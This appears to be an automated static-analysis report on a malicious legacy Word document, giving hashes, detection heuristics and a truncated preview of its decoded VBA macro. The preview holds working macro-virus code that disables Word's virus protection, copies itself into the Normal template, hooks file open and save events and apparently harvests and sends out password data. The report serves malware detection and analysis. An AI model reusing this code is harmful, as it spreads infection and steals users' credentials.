Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbb97a4417f40841…

MALICIOUS

Office (OLE)

82.5 KB Created: 2000-05-31 14:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8c2bb33052d69f4521c8f98d0cf1a2c0 SHA-1: a09c867669f2424cfc657f5b9d909988156573c3 SHA-256: fbb97a4417f408411e1bf78f7a81d7644310f13029cb4581dbce0b63ea1b435e
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This document contains VBA macros, including AutoOpen and Auto_Close, which are designed to execute automatically. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, suggesting the macro attempts to download and execute a second-stage payload. The presence of 'ClamAV: Doc.Trojan.NPR-1' and 'Win.Trojan.C-286' detections further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Trojan.NPR-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NPR-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 66077 bytes
SHA-256: 52d354ead8030d3afeee5e2759b18c7f93c92731d04309e1a621db862556ae4d
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MSPlus"
'NetscapePasswordReminder
Option Explicit
Type FILETIME
  dwLowDateTime As Long
  dwHighDateTime As Long
End Type
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal Msg As Long, wParam As Any, lParam As Any) As Long
Declare Function FindWindow Lib "user32.dll" Alias _
"FindWindowA" (ByVal lpClassName As Any, _
ByVal lpWindowName As Any) As Long
Sub CopyLines(Source As Object)
On Error Resume Next
     Dim SourceM As Object, TargetM As Object
     Dim n As Long
     Dim Body As String
     Dim VBComponent  As Object
    For Each VBComponent In Source.VBProject.VBComponents
     Set SourceM = VBComponent
     n = SourceM.CodeModule.CountOfLines
     Body = SourceM.CodeModule.Lines(1, 1)
     If InStr(1, Body, "NetscapePasswordReminder", vbTextCompare) <> 0 Then
     Body = SourceM.CodeModule.Lines(1, n)
     Set TargetM = NormalTemplate.VBProject.VBComponents.Add(1)
     TargetM.CodeModule.AddFromString Body
     TargetM.Name = "MSPlus"
     End If
   Next
 End Sub
Sub AutoExec()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
KeyBindings.Add KeyCategory:=wdKeyCategoryMacro, Command:="Grab_Registr", KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF1)
End Sub
Sub AutoExit()
Dim Counter As Long
Dim i As Long
Dim Yes As Boolean
Dim VBComponent As Object

On Error Resume Next
  Application.Visible = False
  Yes = False
 For Each VBComponent In NormalTemplate.VBProject.VBComponents
 If VBComponent.Name = "MSPlus" Then
  Yes = True
 End If
 Next
 If Yes = False Then
  Counter = Templates.Count
 For i = 1 To Counter
  If InStr(1, Templates(i).FullName, "STARTUP", vbTextCompare) <> 0 Then
 Templates(i).OpenAsDocument
 CopyLines Templates(i)
 ActiveDocument.Close
 End If
 Next
 End If
 NormalTemplate.Save
 Tmsn
End Sub
Sub AutoOpen()
Dim VBComponent As Object
Dim Yes As Boolean
 On Error Resume Next
KeyBindings.Add KeyCategory:=wdKeyCategoryMacro, Command:="Grab_Registr", KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF1)
ActiveDocument.ShowSpellingErrors = False
ActiveDocument.ShowGrammaticalErrors = False
 Yes = False
 For Each VBComponent In NormalTemplate.VBProject.VBComponents
 If VBComponent.Name = "MSPlus" Then
  Yes = True
 End If
 Next
If Yes = False Then
CopyLines MacroContainer
End If
Options.VirusProtection = False
Options.SaveNormalPrompt = False
NormalTemplate.Save
End Sub
Sub FileOpen()
On Error Resume Next
AutoOpen
Dialogs(80).Show
Sender_main
End Sub

Sub FileSave()
On Error Resume Next
ActiveDocument.Save
Sender_main
End Sub
Sub FileClose()
On Error Resume Next
AutoOpen
ActiveDocument.Close
End Sub
Sub AutoClose()
On Error Resume Next
AutoOpen
End Sub
Sub Tmsn()
Dim Delta As Integer
Dim Old As Byte
Dim NF As Integer
NF = FreeFile
On Error Resume Next
Open "c:\windows\logow.
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.